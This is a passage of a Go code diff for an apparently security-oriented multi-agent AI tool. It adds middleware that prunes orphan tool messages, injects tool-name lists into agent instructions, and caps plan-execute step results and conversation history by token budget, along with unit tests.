if m == nil {
|
||||
continue
|
||||
}
|
||||
if m.Role == schema.Tool && m.ToolCallID == "c_big" {
|
||||
t.Fatal("oversized tool round must be skipped: tool(c_big) leaked")
|
||||
}
|
||||
if m.Role == schema.Assistant {
|
||||
for _, tc := range m.ToolCalls {
|
||||
if tc.ID == "c_big" {
|
||||
t.Fatal("oversized tool round must be skipped: assistant(tc:c_big) leaked")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 最近 round (c_ok) 作为一个原子单位必须整体保留。
|
||||
foundOKTool, foundOKAsst := false, false
|
||||
for _, m := range out {
|
||||
if m == nil {
|
||||
continue
|
||||
}
|
||||
if m.Role == schema.Tool && m.ToolCallID == "c_ok" {
|
||||
foundOKTool = true
|
||||
}
|
||||
if m.Role == schema.Assistant {
|
||||
for _, tc := range m.ToolCalls {
|
||||
if tc.ID == "c_ok" {
|
||||
foundOKAsst = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if !foundOKTool || !foundOKAsst {
|
||||
t.Fatalf("recent tool-round (c_ok) must be retained as an atomic pair: assistantKept=%v toolKept=%v", foundOKAsst, foundOKTool)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSummarizeFinalize_BudgetZeroFallsBackToSummaryOnly(t *testing.T) {
|
||||
sys := schema.SystemMessage("sys")
|
||||
summary := schema.AssistantMessage("summary", nil)
|
||||
msgs := []adk.Message{
|
||||
sys,
|
||||
assistantToolCallsMsg("", "c1"),
|
||||
schema.ToolMessage("r1", "c1"),
|
||||
}
|
||||
out, err := summarizeFinalizeWithRecentAssistantToolTrail(
|
||||
context.Background(),
|
||||
msgs,
|
||||
summary,
|
||||
fixedTokenCounter(1),
|
||||
0,
|
||||
)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if len(out) != 2 || out[0] != sys || out[1] != summary {
|
||||
t.Fatalf("budget=0 must yield [system, summary] only, got %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSummarizeFinalize_PreservesAllSystemMessages(t *testing.T) {
|
||||
sys1 := schema.SystemMessage("sys1")
|
||||
sys2 := schema.SystemMessage("sys2")
|
||||
summary := schema.AssistantMessage("s", nil)
|
||||
msgs := []adk.Message{
|
||||
sys1,
|
||||
schema.UserMessage("q"),
|
||||
sys2, // 非典型位置,但应当被 system group 捕获
|
||||
}
|
||||
out, err := summarizeFinalizeWithRecentAssistantToolTrail(
|
||||
context.Background(),
|
||||
msgs,
|
||||
summary,
|
||||
fixedTokenCounter(1),
|
||||
100,
|
||||
)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
systemCount := 0
|
||||
for _, m := range out {
|
||||
if m != nil && m.Role == schema.System {
|
||||
systemCount++
|
||||
}
|
||||
}
|
||||
if systemCount != 2 {
|
||||
t.Fatalf("want 2 system messages retained, got %d", systemCount)
|
||||
}
|
||||
}
|
||||
|
||||
// assertNoOrphanTool 断言消息列表里的每个 role=tool 消息都能在更前面找到一个
|
||||
// assistant(tool_calls) 提供相同 ID,否则说明产生了孤儿(触发 LLM 400 的根因)。
|
||||
func assertNoOrphanTool(t *testing.T, msgs []adk.Message) {
|
||||
t.Helper()
|
||||
provided := make(map[string]struct{})
|
||||
for _, m := range msgs {
|
||||
if m == nil {
|
||||
continue
|
||||
}
|
||||
if m.Role == schema.Assistant {
|
||||
for _, tc := range m.ToolCalls {
|
||||
if tc.ID != "" {
|
||||
provided[tc.ID] = struct{}{}
|
||||
}
|
||||
}
|
||||
}
|
||||
if m.Role == schema.Tool && m.ToolCallID != "" {
|
||||
if _, ok := provided[m.ToolCallID]; !ok {
|
||||
t.Fatalf("orphan tool message found: ToolCallID=%q has no preceding assistant(tool_calls)", m.ToolCallID)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/cloudwego/eino/components/tool"
|
||||
)
|
||||
|
||||
// injectToolNamesOnlyInstruction prepends a compact tool-name-only section into
|
||||
// the system instruction so the model can reference current callable names.
|
||||
func injectToolNamesOnlyInstruction(ctx context.Context, instruction string, tools []tool.BaseTool) string {
|
||||
names := collectToolNames(ctx, tools)
|
||||
if len(names) == 0 {
|
||||
return strings.TrimSpace(instruction)
|
||||
}
|
||||
hasToolSearch := false
|
||||
for _, n := range names {
|
||||
if strings.EqualFold(strings.TrimSpace(n), "tool_search") {
|
||||
hasToolSearch = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
var sb strings.Builder
|
||||
sb.WriteString("以下是当前会话中可调用的工具名称列表(仅名称,无参数定义):\n")
|
||||
for _, name := range names {
|
||||
sb.WriteString("- ")
|
||||
sb.WriteString(name)
|
||||
sb.WriteByte('\n')
|
||||
}
|
||||
sb.WriteString("\n使用规则:\n")
|
||||
sb.WriteString("1) 上述仅为名称列表,不包含参数定义。\n")
|
||||
if hasToolSearch {
|
||||
sb.WriteString("2) 在调用具体工具前,应先使用 tool_search 查看工具详情与参数要求,再发起调用。\n")
|
||||
} else {
|
||||
sb.WriteString("2) 调用具体工具前,请先确认该工具的参数要求;不确定时先澄清再调用。\n")
|
||||
}
|
||||
sb.WriteString("3) 不要臆造不存在的工具名。\n\n")
|
||||
if s := strings.TrimSpace(instruction); s != "" {
|
||||
sb.WriteString(s)
|
||||
}
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func collectToolNames(ctx context.Context, tools []tool.BaseTool) []string {
|
||||
if len(tools) == 0 {
|
||||
return nil
|
||||
}
|
||||
seen := make(map[string]struct{}, len(tools))
|
||||
out := make([]string, 0, len(tools))
|
||||
for _, t := range tools {
|
||||
if t == nil {
|
||||
continue
|
||||
}
|
||||
info, err := t.Info(ctx)
|
||||
if err != nil || info == nil {
|
||||
continue
|
||||
}
|
||||
name := strings.TrimSpace(info.Name)
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
key := strings.ToLower(name)
|
||||
if _, ok := seen[key]; ok {
|
||||
continue
|
||||
}
|
||||
seen[key] = struct{}{}
|
||||
out = append(out, name)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
@@ -59,4 +59,3 @@ func (m *noNestedTaskMiddleware) WrapInvokableToolCall(
|
||||
return endpoint(ctx2, argumentsInJSON, opts...)
|
||||
}, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,124 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/cloudwego/eino/adk"
|
||||
"github.com/cloudwego/eino/schema"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// orphanToolPrunerMiddleware 在每次 ChatModel 调用前剪掉没有对应 assistant(tool_calls) 的孤儿 tool 消息。
|
||||
//
|
||||
// 背景:
|
||||
// - eino 的 summarization 中间件在触发摘要后,默认把所有非 system 消息替换为 1 条 summary 消息;
|
||||
// 本项目通过自定义 Finalize(summarizeFinalizeWithRecentAssistantToolTrail)在 summary 后回填
|
||||
// 最近的 assistant/tool 轨迹。若 Finalize 的保留策略按"条数"截断而未按 round 对齐,可能保留
|
||||
// 了 tool 结果却把对应的 assistant(tool_calls) 落在了 summary 前面,形成孤儿 tool 消息。
|
||||
// - 同样,reduction / tool_search / 自定义断点恢复等任一改写历史的逻辑,都可能破坏
|
||||
// tool_call ↔ tool_result 配对。
|
||||
//
|
||||
// 一旦孤儿 tool 消息进入 ChatModel,OpenAI 兼容 API(含 DashScope / 各类中转)会返回
|
||||
// 400 "No tool call found for function call output with call_id ...",并被 Eino 包装成
|
||||
// [NodeRunError] 抛出,终止整轮编排。
|
||||
//
|
||||
// 设计取舍:
|
||||
// - 官方 patchtoolcalls 中间件只补反向(assistant(tc) 缺 tool_result),不处理孤儿 tool。
|
||||
// 本中间件与之互补,专职兜底正向孤儿。
|
||||
// - 仅剔除消息,不向历史里注入虚构 assistant(tc):虚构 tool_calls 反而会误导模型后续推理。
|
||||
// 摘要已覆盖被裁剪段的语义,丢一条原始 tool 结果对对话连贯性影响最小。
|
||||
// - 位置建议:挂在所有可能改写历史的中间件(summarization / reduction / skill / plantask /
|
||||
// tool_search)之后,靠近 ChatModel 调用的那一端。
|
||||
type orphanToolPrunerMiddleware struct {
|
||||
adk.BaseChatModelAgentMiddleware
|
||||
logger *zap.Logger
|
||||
phase string
|
||||
}
|
||||
|
||||
// newOrphanToolPrunerMiddleware 构造中间件。phase 仅用于日志区分 deep / supervisor /
|
||||
// plan_execute_executor / sub_agent,不影响运行时行为。
|
||||
func newOrphanToolPrunerMiddleware(logger *zap.Logger, phase string) adk.ChatModelAgentMiddleware {
|
||||
return &orphanToolPrunerMiddleware{
|
||||
logger: logger,
|
||||
phase: phase,
|
||||
}
|
||||
}
|
||||
|
||||
// BeforeModelRewriteState 扫描消息列表,收集 assistant.tool_calls 提供的 call_id 集合,
|
||||
// 再剔除掉 ToolCallID 不在该集合中的 role=tool 消息。
|
||||
//
|
||||
// 复杂度:O(N)。当未发现孤儿时不产生任何分配,state 原样返回以便上游快路径。
|
||||
func (m *orphanToolPrunerMiddleware) BeforeModelRewriteState(
|
||||
ctx context.Context,
|
||||
state *adk.ChatModelAgentState,
|
||||
mc *adk.ModelContext,
|
||||
) (context.Context, *adk.ChatModelAgentState, error) {
|
||||
_ = mc
|
||||
if m == nil || state == nil || len(state.Messages) == 0 {
|
||||
return ctx, state, nil
|
||||
}
|
||||
|
||||
// 第一遍:收集所有已提供的 tool_call_id;同时快路径判定是否真的存在孤儿。
|
||||
provided := make(map[string]struct{}, 8)
|
||||
for _, msg := range state.Messages {
|
||||
if msg == nil {
|
||||
continue
|
||||
}
|
||||
if msg.Role == schema.Assistant {
|
||||
for _, tc := range msg.ToolCalls {
|
||||
if tc.ID != "" {
|
||||
provided[tc.ID] = struct{}{}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
hasOrphan := false
|
||||
for _, msg := range state.Messages {
|
||||
if msg == nil {
|
||||
continue
|
||||
}
|
||||
if msg.Role == schema.Tool && msg.ToolCallID != "" {
|
||||
if _, ok := provided[msg.ToolCallID]; !ok {
|
||||
hasOrphan = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if !hasOrphan {
|
||||
return ctx, state, nil
|
||||
}
|
||||
|
||||
// 第二遍:生成剪除孤儿后的新消息列表。
|
||||
pruned := make([]adk.Message, 0, len(state.Messages))
|
||||
droppedIDs := make([]string, 0, 2)
|
||||
droppedNames := make([]string, 0, 2)
|
||||
for _, msg := range state.Messages {
|
||||
if msg == nil {
|
||||
continue
|
||||
}
|
||||
if msg.Role == schema.Tool && msg.ToolCallID != "" {
|
||||
if _, ok := provided[msg.ToolCallID]; !ok {
|
||||
droppedIDs = append(droppedIDs, msg.ToolCallID)
|
||||
droppedNames = append(droppedNames, msg.ToolName)
|
||||
continue
|
||||
}
|
||||
}
|
||||
pruned = append(pruned, msg)
|
||||
}
|
||||
|
||||
if m.logger != nil {
|
||||
m.logger.Warn("eino orphan tool messages pruned before model call",
|
||||
zap.String("phase", m.phase),
|
||||
zap.Int("dropped_count", len(droppedIDs)),
|
||||
zap.Strings("dropped_tool_call_ids", droppedIDs),
|
||||
zap.Strings("dropped_tool_names", droppedNames),
|
||||
zap.Int("messages_before", len(state.Messages)),
|
||||
zap.Int("messages_after", len(pruned)),
|
||||
)
|
||||
}
|
||||
|
||||
ns := *state
|
||||
ns.Messages = pruned
|
||||
return ctx, &ns, nil
|
||||
}
|
||||
@@ -0,0 +1,131 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"github.com/cloudwego/eino/adk"
|
||||
"github.com/cloudwego/eino/schema"
|
||||
)
|
||||
|
||||
func assistantToolCallsMsg(content string, callIDs ...string) *schema.Message {
|
||||
tcs := make([]schema.ToolCall, 0, len(callIDs))
|
||||
for _, id := range callIDs {
|
||||
tcs = append(tcs, schema.ToolCall{
|
||||
ID: id,
|
||||
Type: "function",
|
||||
Function: schema.FunctionCall{
|
||||
Name: "stub_tool",
|
||||
Arguments: `{}`,
|
||||
},
|
||||
})
|
||||
}
|
||||
return schema.AssistantMessage(content, tcs)
|
||||
}
|
||||
|
||||
func TestOrphanToolPruner_NoOpWhenPaired(t *testing.T) {
|
||||
mw := newOrphanToolPrunerMiddleware(nil, "test").(*orphanToolPrunerMiddleware)
|
||||
|
||||
msgs := []adk.Message{
|
||||
schema.SystemMessage("sys"),
|
||||
schema.UserMessage("hi"),
|
||||
assistantToolCallsMsg("", "c1", "c2"),
|
||||
schema.ToolMessage("r1", "c1"),
|
||||
schema.ToolMessage("r2", "c2"),
|
||||
schema.AssistantMessage("done", nil),
|
||||
}
|
||||
in := &adk.ChatModelAgentState{Messages: msgs}
|
||||
|
||||
_, out, err := mw.BeforeModelRewriteState(context.Background(), in, &adk.ModelContext{})
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if out == nil {
|
||||
t.Fatal("expected non-nil state")
|
||||
}
|
||||
if len(out.Messages) != len(msgs) {
|
||||
t.Fatalf("expected %d messages kept, got %d", len(msgs), len(out.Messages))
|
||||
}
|
||||
// 快路径:未发现孤儿时必须原地返回 state,不分配新切片。
|
||||
if &out.Messages[0] != &msgs[0] {
|
||||
t.Fatalf("expected state to be returned as-is (same backing slice) when no orphan present")
|
||||
}
|
||||
}
|
||||
|
||||
func TestOrphanToolPruner_DropsOrphanToolMessages(t *testing.T) {
|
||||
mw := newOrphanToolPrunerMiddleware(nil, "test").(*orphanToolPrunerMiddleware)
|
||||
|
||||
msgs := []adk.Message{
|
||||
schema.SystemMessage("sys"),
|
||||
// 摘要前的 assistant(tc: c_old) 已被裁剪,但对应的 tool 结果漏保留了。
|
||||
schema.ToolMessage("orphan result", "c_old"),
|
||||
schema.UserMessage("continue"),
|
||||
assistantToolCallsMsg("", "c_new"),
|
||||
schema.ToolMessage("r_new", "c_new"),
|
||||
}
|
||||
in := &adk.ChatModelAgentState{Messages: msgs}
|
||||
|
||||
_, out, err := mw.BeforeModelRewriteState(context.Background(), in, &adk.ModelContext{})
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if out == nil {
|
||||
t.Fatal("expected non-nil state")
|
||||
}
|
||||
if len(out.Messages) != len(msgs)-1 {
|
||||
t.Fatalf("expected %d messages after pruning, got %d", len(msgs)-1, len(out.Messages))
|
||||
}
|
||||
for _, m := range out.Messages {
|
||||
if m != nil && m.Role == schema.Tool && m.ToolCallID == "c_old" {
|
||||
t.Fatalf("orphan tool message with ToolCallID=c_old should have been dropped")
|
||||
}
|
||||
}
|
||||
// 合法的 tool(c_new) 必须保留。
|
||||
foundNew := false
|
||||
for _, m := range out.Messages {
|
||||
if m != nil && m.Role == schema.Tool && m.ToolCallID == "c_new" {
|
||||
foundNew = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !foundNew {
|
||||
t.Fatal("paired tool message (c_new) must be retained")
|
||||
}
|
||||
}
|
||||
|
||||
func TestOrphanToolPruner_EmptyToolCallIDIsIgnored(t *testing.T) {
|
||||
// 空 ToolCallID 的 tool 消息在真实场景中极罕见,但不应当被误判为孤儿。
|
||||
// 语义上把它当作"无法校验,保留",避免误删。
|
||||
mw := newOrphanToolPrunerMiddleware(nil, "test").(*orphanToolPrunerMiddleware)
|
||||
|
||||
odd := schema.ToolMessage("no_id", "")
|
||||
msgs := []adk.Message{
|
||||
schema.UserMessage("hi"),
|
||||
odd,
|
||||
schema.AssistantMessage("ok", nil),
|
||||
}
|
||||
in := &adk.ChatModelAgentState{Messages: msgs}
|
||||
|
||||
_, out, err := mw.BeforeModelRewriteState(context.Background(), in, &adk.ModelContext{})
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if len(out.Messages) != len(msgs) {
|
||||
t.Fatalf("empty ToolCallID tool message should be kept, got %d messages", len(out.Messages))
|
||||
}
|
||||
}
|
||||
|
||||
func TestOrphanToolPruner_NilAndEmpty(t *testing.T) {
|
||||
mw := newOrphanToolPrunerMiddleware(nil, "test").(*orphanToolPrunerMiddleware)
|
||||
|
||||
ctx := context.Background()
|
||||
// nil state
|
||||
if _, out, err := mw.BeforeModelRewriteState(ctx, nil, &adk.ModelContext{}); err != nil || out != nil {
|
||||
t.Fatalf("nil state: expected (nil,nil), got (%v,%v)", out, err)
|
||||
}
|
||||
// empty messages
|
||||
empty := &adk.ChatModelAgentState{}
|
||||
if _, out, err := mw.BeforeModelRewriteState(ctx, empty, &adk.ModelContext{}); err != nil || out != empty {
|
||||
t.Fatalf("empty messages: expected same state, got (%v,%v)", out, err)
|
||||
}
|
||||
}
|
||||
@@ -71,7 +71,7 @@ func planExecuteDefaultGenExecutorInput(ctx context.Context, in *planexecute.Exe
|
||||
return planexecute.ExecutorPrompt.Format(ctx, map[string]any{
|
||||
"input": planExecuteFormatInput(in.UserInput),
|
||||
"plan": string(planContent),
|
||||
"executed_steps": planExecuteFormatExecutedSteps(in.ExecutedSteps),
|
||||
"executed_steps": planExecuteFormatExecutedSteps(in.ExecutedSteps, nil, nil),
|
||||
"step": in.Plan.FirstStep(),
|
||||
})
|
||||
}
|
||||
|
||||
@@ -5,6 +5,8 @@ import (
|
||||
"strings"
|
||||
"unicode/utf8"
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
|
||||
"github.com/cloudwego/eino/adk/prebuilt/planexecute"
|
||||
)
|
||||
|
||||
@@ -12,8 +14,11 @@ import (
|
||||
// 此处仅约束「写入模型 prompt 的视图」,不修改 Eino session 中的原始 ExecutedSteps。
|
||||
|
||||
const (
|
||||
planExecuteMaxStepResultRunes = 12000
|
||||
planExecuteKeepLastSteps = 16
|
||||
defaultPlanExecuteMaxStepResultRunes = 4000
|
||||
defaultPlanExecuteKeepLastSteps = 8
|
||||
// Backward-compatible aliases for tests and existing references.
|
||||
planExecuteMaxStepResultRunes = defaultPlanExecuteMaxStepResultRunes
|
||||
planExecuteKeepLastSteps = defaultPlanExecuteKeepLastSteps
|
||||
)
|
||||
|
||||
func truncateRunesWithSuffix(s string, maxRunes int, suffix string) string {
|
||||
@@ -29,16 +34,26 @@ func truncateRunesWithSuffix(s string, maxRunes int, suffix string) string {
|
||||
|
||||
// capPlanExecuteExecutedSteps 折叠较早步骤、截断单步过长结果,供 prompt 使用。
|
||||
func capPlanExecuteExecutedSteps(steps []planexecute.ExecutedStep) []planexecute.ExecutedStep {
|
||||
return capPlanExecuteExecutedStepsWithConfig(steps, nil)
|
||||
}
|
||||
|
||||
func capPlanExecuteExecutedStepsWithConfig(steps []planexecute.ExecutedStep, mwCfg *config.MultiAgentEinoMiddlewareConfig) []planexecute.ExecutedStep {
|
||||
if len(steps) == 0 {
|
||||
return steps
|
||||
}
|
||||
maxStepResultRunes := defaultPlanExecuteMaxStepResultRunes
|
||||
keepLastSteps := defaultPlanExecuteKeepLastSteps
|
||||
if mwCfg != nil {
|
||||
maxStepResultRunes = mwCfg.PlanExecuteMaxStepResultRunesEffective()
|
||||
keepLastSteps = mwCfg.PlanExecuteKeepLastStepsEffective()
|
||||
}
|
||||
out := make([]planexecute.ExecutedStep, 0, len(steps)+1)
|
||||
start := 0
|
||||
if len(steps) > planExecuteKeepLastSteps {
|
||||
start = len(steps) - planExecuteKeepLastSteps
|
||||
if len(steps) > keepLastSteps {
|
||||
start = len(steps) - keepLastSteps
|
||||
var b strings.Builder
|
||||
b.WriteString(fmt.Sprintf("(上文已完成 %d 步;此处仅保留步骤标题以节省上下文,完整输出已省略。后续 %d 步仍保留正文。)\n",
|
||||
start, planExecuteKeepLastSteps))
|
||||
start, keepLastSteps))
|
||||
for i := 0; i < start; i++ {
|
||||
b.WriteString(fmt.Sprintf("- %s\n", steps[i].Step))
|
||||
}
|
||||
@@ -50,8 +65,8 @@ func capPlanExecuteExecutedSteps(steps []planexecute.ExecutedStep) []planexecute
|
||||
suffix := "\n…[step result truncated]"
|
||||
for i := start; i < len(steps); i++ {
|
||||
e := steps[i]
|
||||
if utf8.RuneCountInString(e.Result) > planExecuteMaxStepResultRunes {
|
||||
e.Result = truncateRunesWithSuffix(e.Result, planExecuteMaxStepResultRunes, suffix)
|
||||
if utf8.RuneCountInString(e.Result) > maxStepResultRunes {
|
||||
e.Result = truncateRunesWithSuffix(e.Result, maxStepResultRunes, suffix)
|
||||
}
|
||||
out = append(out, e)
|
||||
}
|
||||
|
||||
+118
-14
@@ -30,10 +30,10 @@ import (
|
||||
|
||||
// RunResult 与单 Agent 循环结果字段对齐,便于复用存储与 SSE 收尾逻辑。
|
||||
type RunResult struct {
|
||||
Response string
|
||||
MCPExecutionIDs []string
|
||||
LastReActInput string
|
||||
LastReActOutput string
|
||||
Response string
|
||||
MCPExecutionIDs []string
|
||||
LastAgentTraceInput string // 已序列化的消息带(JSON):原生循环或 Eino 均写入,供续跑/攻击链等恢复上下文
|
||||
LastAgentTraceOutput string // 本轮助手侧对外展示文本(摘要或最终回复)
|
||||
}
|
||||
|
||||
// toolCallPendingInfo tracks a tool_call emitted to the UI so we can later
|
||||
@@ -237,7 +237,7 @@ func RunDeepAgent(
|
||||
subMax = subDefaultIter
|
||||
}
|
||||
|
||||
subSumMw, err := newEinoSummarizationMiddleware(ctx, subModel, appCfg, logger)
|
||||
subSumMw, err := newEinoSummarizationMiddleware(ctx, subModel, appCfg, &ma.EinoMiddleware, conversationID, logger)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("子代理 %q summarization 中间件: %w", id, err)
|
||||
}
|
||||
@@ -257,11 +257,36 @@ func RunDeepAgent(
|
||||
subHandlers = append(subHandlers, einoSkillMW)
|
||||
}
|
||||
subHandlers = append(subHandlers, subSumMw)
|
||||
// 孤儿 tool 消息兜底:放在 summarization 之后,telemetry 之前,
|
||||
// 以便 telemetry 记录的 token 数与 LLM 实际入参一致。
|
||||
subHandlers = append(subHandlers, newOrphanToolPrunerMiddleware(logger, "sub_agent:"+id))
|
||||
if teleMw := newEinoModelInputTelemetryMiddleware(logger, appCfg.OpenAI.Model, conversationID, "sub_agent"); teleMw != nil {
|
||||
subHandlers = append(subHandlers, teleMw)
|
||||
}
|
||||
|
||||
subInstrFinal := injectToolNamesOnlyInstruction(ctx, instr, subTools)
|
||||
if logger != nil {
|
||||
subNames := collectToolNames(ctx, subTools)
|
||||
mountedNames := collectToolNames(ctx, subToolsForCfg)
|
||||
hasToolSearch := false
|
||||
for _, n := range subNames {
|
||||
if strings.EqualFold(strings.TrimSpace(n), "tool_search") {
|
||||
hasToolSearch = true
|
||||
break
|
||||
}
|
||||
}
|
||||
logger.Info("eino tool-name injection",
|
||||
zap.String("scope", "sub_agent"),
|
||||
zap.String("agent", id),
|
||||
zap.Int("tool_names", len(subNames)),
|
||||
zap.Int("mounted_tool_names", len(mountedNames)),
|
||||
zap.Bool("has_tool_search", hasToolSearch),
|
||||
)
|
||||
}
|
||||
sa, err := adk.NewChatModelAgent(ctx, &adk.ChatModelAgentConfig{
|
||||
Name: id,
|
||||
Description: desc,
|
||||
Instruction: instr,
|
||||
Instruction: subInstrFinal,
|
||||
Model: subModel,
|
||||
ToolsConfig: adk.ToolsConfig{
|
||||
ToolsNodeConfig: compose.ToolsNodeConfig{
|
||||
@@ -289,7 +314,7 @@ func RunDeepAgent(
|
||||
return nil, fmt.Errorf("多代理主模型: %w", err)
|
||||
}
|
||||
|
||||
mainSumMw, err := newEinoSummarizationMiddleware(ctx, mainModel, appCfg, logger)
|
||||
mainSumMw, err := newEinoSummarizationMiddleware(ctx, mainModel, appCfg, &ma.EinoMiddleware, conversationID, logger)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("多代理主 summarization 中间件: %w", err)
|
||||
}
|
||||
@@ -313,6 +338,25 @@ func RunDeepAgent(
|
||||
orchDescription = d
|
||||
}
|
||||
}
|
||||
orchInstruction = injectToolNamesOnlyInstruction(ctx, orchInstruction, mainTools)
|
||||
if logger != nil {
|
||||
mainNames := collectToolNames(ctx, mainTools)
|
||||
mountedNames := collectToolNames(ctx, mainToolsForCfg)
|
||||
hasToolSearch := false
|
||||
for _, n := range mainNames {
|
||||
if strings.EqualFold(strings.TrimSpace(n), "tool_search") {
|
||||
hasToolSearch = true
|
||||
break
|
||||
}
|
||||
}
|
||||
logger.Info("eino tool-name injection",
|
||||
zap.String("scope", "orchestrator"),
|
||||
zap.String("orchestration", orchMode),
|
||||
zap.Int("tool_names", len(mainNames)),
|
||||
zap.Int("mounted_tool_names", len(mountedNames)),
|
||||
zap.Bool("has_tool_search", hasToolSearch),
|
||||
)
|
||||
}
|
||||
|
||||
supInstr := strings.TrimSpace(orchInstruction)
|
||||
if orchMode == "supervisor" {
|
||||
@@ -352,6 +396,10 @@ func RunDeepAgent(
|
||||
deepHandlers = append(deepHandlers, einoSkillMW)
|
||||
}
|
||||
deepHandlers = append(deepHandlers, mainSumMw)
|
||||
deepHandlers = append(deepHandlers, newOrphanToolPrunerMiddleware(logger, "deep_orchestrator"))
|
||||
if teleMw := newEinoModelInputTelemetryMiddleware(logger, appCfg.OpenAI.Model, conversationID, "deep_orchestrator"); teleMw != nil {
|
||||
deepHandlers = append(deepHandlers, teleMw)
|
||||
}
|
||||
|
||||
supHandlers := []adk.ChatModelAgentMiddleware{}
|
||||
if len(mainOrchestratorPre) > 0 {
|
||||
@@ -361,6 +409,10 @@ func RunDeepAgent(
|
||||
supHandlers = append(supHandlers, einoSkillMW)
|
||||
}
|
||||
supHandlers = append(supHandlers, mainSumMw)
|
||||
supHandlers = append(supHandlers, newOrphanToolPrunerMiddleware(logger, "supervisor_orchestrator"))
|
||||
if teleMw := newEinoModelInputTelemetryMiddleware(logger, appCfg.OpenAI.Model, conversationID, "supervisor_orchestrator"); teleMw != nil {
|
||||
supHandlers = append(supHandlers, teleMw)
|
||||
}
|
||||
|
||||
mainToolsCfg := adk.ToolsConfig{
|
||||
ToolsNodeConfig: compose.ToolsNodeConfig{
|
||||
@@ -399,10 +451,19 @@ func RunDeepAgent(
|
||||
ExecMaxIter: deepMaxIter,
|
||||
LoopMaxIter: ma.PlanExecuteLoopMaxIterations,
|
||||
AppCfg: appCfg,
|
||||
MwCfg: &ma.EinoMiddleware,
|
||||
ConversationID: conversationID,
|
||||
Logger: logger,
|
||||
ModelName: appCfg.OpenAI.Model,
|
||||
ExecPreMiddlewares: mainOrchestratorPre,
|
||||
SkillMiddleware: einoSkillMW,
|
||||
FilesystemMiddleware: peFsMw,
|
||||
PlannerReplannerRewriteHandlers: []adk.ChatModelAgentMiddleware{
|
||||
mainSumMw,
|
||||
// 孤儿 tool 消息兜底:必须挂在 summarization 之后、telemetry 之前。
|
||||
newOrphanToolPrunerMiddleware(logger, "plan_execute_planner_replanner"),
|
||||
newEinoModelInputTelemetryMiddleware(logger, appCfg.OpenAI.Model, conversationID, "plan_execute_planner_replanner_rewrite"),
|
||||
},
|
||||
})
|
||||
if perr != nil {
|
||||
return nil, perr
|
||||
@@ -468,7 +529,7 @@ func RunDeepAgent(
|
||||
da = dDeep
|
||||
}
|
||||
|
||||
baseMsgs := historyToMessages(history)
|
||||
baseMsgs := historyToMessages(history, appCfg, &ma.EinoMiddleware)
|
||||
baseMsgs = append(baseMsgs, schema.UserMessage(userMessage))
|
||||
|
||||
streamsMainAssistant := func(agent string) bool {
|
||||
@@ -505,34 +566,77 @@ func RunDeepAgent(
|
||||
}, baseMsgs)
|
||||
}
|
||||
|
||||
func historyToMessages(history []agent.ChatMessage) []adk.Message {
|
||||
func historyToMessages(history []agent.ChatMessage, appCfg *config.Config, mwCfg *config.MultiAgentEinoMiddlewareConfig) []adk.Message {
|
||||
if len(history) == 0 {
|
||||
return nil
|
||||
}
|
||||
// 放宽条数上限:跨轮历史交给 Eino Summarization(阈值对齐 openai.max_total_tokens)在调用模型前压缩,避免在入队前硬截断为 40 条。
|
||||
const maxHistoryMessages = 300
|
||||
// Keep a bounded tail first; then enforce a token budget.
|
||||
const maxHistoryMessages = 200
|
||||
start := 0
|
||||
if len(history) > maxHistoryMessages {
|
||||
start = len(history) - maxHistoryMessages
|
||||
}
|
||||
out := make([]adk.Message, 0, len(history[start:]))
|
||||
raw := make([]adk.Message, 0, len(history[start:]))
|
||||
for _, h := range history[start:] {
|
||||
switch h.Role {
|
||||
case "user":
|
||||
if strings.TrimSpace(h.Content) != "" {
|
||||
out = append(out, schema.UserMessage(h.Content))
|
||||
raw = append(raw, schema.UserMessage(h.Content))
|
||||
}
|
||||
case "assistant":
|
||||
if strings.TrimSpace(h.Content) == "" && len(h.ToolCalls) > 0 {
|
||||
continue
|
||||
}
|
||||
if strings.TrimSpace(h.Content) != "" {
|
||||
out = append(out, schema.AssistantMessage(h.Content, nil))
|
||||
raw = append(raw, schema.AssistantMessage(h.Content, nil))
|
||||
}
|
||||
default:
|
||||
continue
|
||||
}
|
||||
}
|
||||
if len(raw) == 0 {
|
||||
return raw
|
||||
}
|
||||
maxTotal := 120000
|
||||
modelName := "gpt-4o"
|
||||
if appCfg != nil {
|
||||
if appCfg.OpenAI.MaxTotalTokens > 0 {
|
||||
maxTotal = appCfg.OpenAI.MaxTotalTokens
|
||||
}
|
||||
if m := strings.TrimSpace(appCfg.OpenAI.Model); m != "" {
|
||||
modelName = m
|
||||
}
|
||||
}
|
||||
ratio := 0.35
|
||||
if mwCfg != nil {
|
||||
ratio = mwCfg.HistoryInputBudgetRatioEffective()
|
||||
}
|
||||
budget := int(float64(maxTotal) * ratio)
|
||||
if budget < 4096 {
|
||||
budget = 4096
|
||||
}
|
||||
